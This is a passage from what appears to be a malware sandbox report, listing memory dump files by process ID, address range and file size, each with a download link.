            Filesize

            128KB

            Download

          • memory/3304-293-0x0000023C5BA30000-0x0000023C5D35F000-memory.dmp

            Filesize

            25.2MB

            Download

          • memory/3304-279-0x000002445E670000-0x000002445E690000-memory.dmp

            Filesize

            128KB

            Download

          • memory/3304-284-0x000002445EA40000-0x000002445EA60000-memory.dmp

            Filesize

            128KB

            Download

          • memory/3304-281-0x000002445E630000-0x000002445E650000-memory.dmp

            Filesize

            128KB

            Download

          • memory/3400-182-0x00007FFB2E7B0000-0x00007FFB2F271000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/3400-65-0x00000000002D0000-0x00000000002D8000-memory.dmp

            Filesize

            32KB

            Download

          • memory/3400-67-0x00007FFB2E7B0000-0x00007FFB2F271000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/3944-102-0x0000000005E80000-0x0000000005E9E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/3944-78-0x0000000005850000-0x00000000058B6000-memory.dmp

            Filesize

            408KB

            Download

          • memory/3944-140-0x0000000007850000-0x0000000007ECA000-memory.dmp

            Filesize

            6.5MB

            Download

          • memory/3944-124-0x0000000006E00000-0x0000000006E1E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/3944-127-0x0000000004950000-0x0000000004960000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3944-125-0x0000000004950000-0x0000000004960000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3944-126-0x0000000007120000-0x00000000071C3000-memory.dmp

            Filesize

            652KB

            Download

          • memory/3944-113-0x000000006FEE0000-0x000000006FF2C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/3944-89-0x00000000058C0000-0x0000000005C14000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/3944-143-0x0000000007230000-0x000000000723A000-memory.dmp

            Filesize

            40KB

            Download

          • memory/3944-141-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/3944-112-0x000000007FAC0000-0x000000007FAD0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3944-111-0x0000000006E20000-0x0000000006E52000-memory.dmp

            Filesize

            200KB

            Download

          • memory/3944-103-0x0000000005F40000-0x0000000005F8C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/3944-146-0x00000000073E0000-0x00000000073EE000-memory.dmp

            Filesize

            56KB

            Download

          • memory/3944-69-0x0000000004F90000-0x00000000055B8000-memory.dmp

            Filesize

            6.2MB

            Download

          • memory/3944-156-0x0000000073660000-0x0000000073E10000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3944-68-0x0000000004950000-0x0000000004960000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3944-76-0x0000000005770000-0x00000000057D6000-memory.dmp

            Filesize

            408KB

            Download

          • memory/3944-144-0x0000000007420000-0x00000000074B6000-memory.dmp

            Filesize

            600KB

            Download

          • memory/3944-74-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

            Filesize

            136KB

            Download

          • memory/3944-73-0x0000000004950000-0x0000000004960000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3944-71-0x0000000073660000-0x0000000073E10000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3944-66-0x0000000004830000-0x0000000004866000-memory.dmp

            Filesize

            216KB

            Download

          • memory/3952-294-0x0000000073660000-0x0000000073E10000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/3952-295-0x0000000005060000-0x0000000005070000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3952-201-0x0000000005060000-0x0000000005070000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3952-181-0x0000000073660000-0x0000000073E10000-memory.dmp

            Filesize

            7.7MB

            Download

          • memory/4048-237-0x000002D12EA90000-0x000002D12EAB0000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4048-235-0x000002D12EAD0000-0x000002D12EAF0000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4048-241-0x000002D12EEA0000-0x000002D12EEC0000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4048-249-0x000002C92BE00000-0x000002C92D72F000-memory.dmp

            Filesize

            25.2MB

            Download

          • memory/4280-158-0x0000000002630000-0x0000000002631000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4564-226-0x000001DD850B0000-0x000001DD869DF000-memory.dmp

            Filesize

            25.2MB

            Download

          • memory/4564-212-0x000001DD87BF0000-0x000001DD87C10000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4564-211-0x000001DD877A0000-0x000001DD877C0000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4564-209-0x000001DD877E0000-0x000001DD87800000-memory.dmp

            Filesize

            128KB

            Download

          • memory/4624-114-0x00007FF605E10000-0x00007FF60624C000-memory.dmp

            Filesize

            4.2MB

            Download

          • memory/4624-39-0x00007FF605E10000-0x00007FF60624C000-memory.dmp

            Filesize

            4.2MB

            Download

          • memory/5028-263-0x000001D05CD80000-0x000001D05CDA0000-memory.dmp

            Filesize

            128KB

            Download

          • memory/5028-271-0x000001C859C00000-0x000001C85B52F000-memory.dmp

            Filesize

            25.2MB

            Download

          • memory/5028-259-0x000001D05C970000-0x000001D05C990000-memory.dmp

            Filesize

            128KB

            Download

          • memory/5028-257-0x000001D05C9B0000-0x000001D05C9D0000-memory.dmp

            Filesize

            128KB

            Download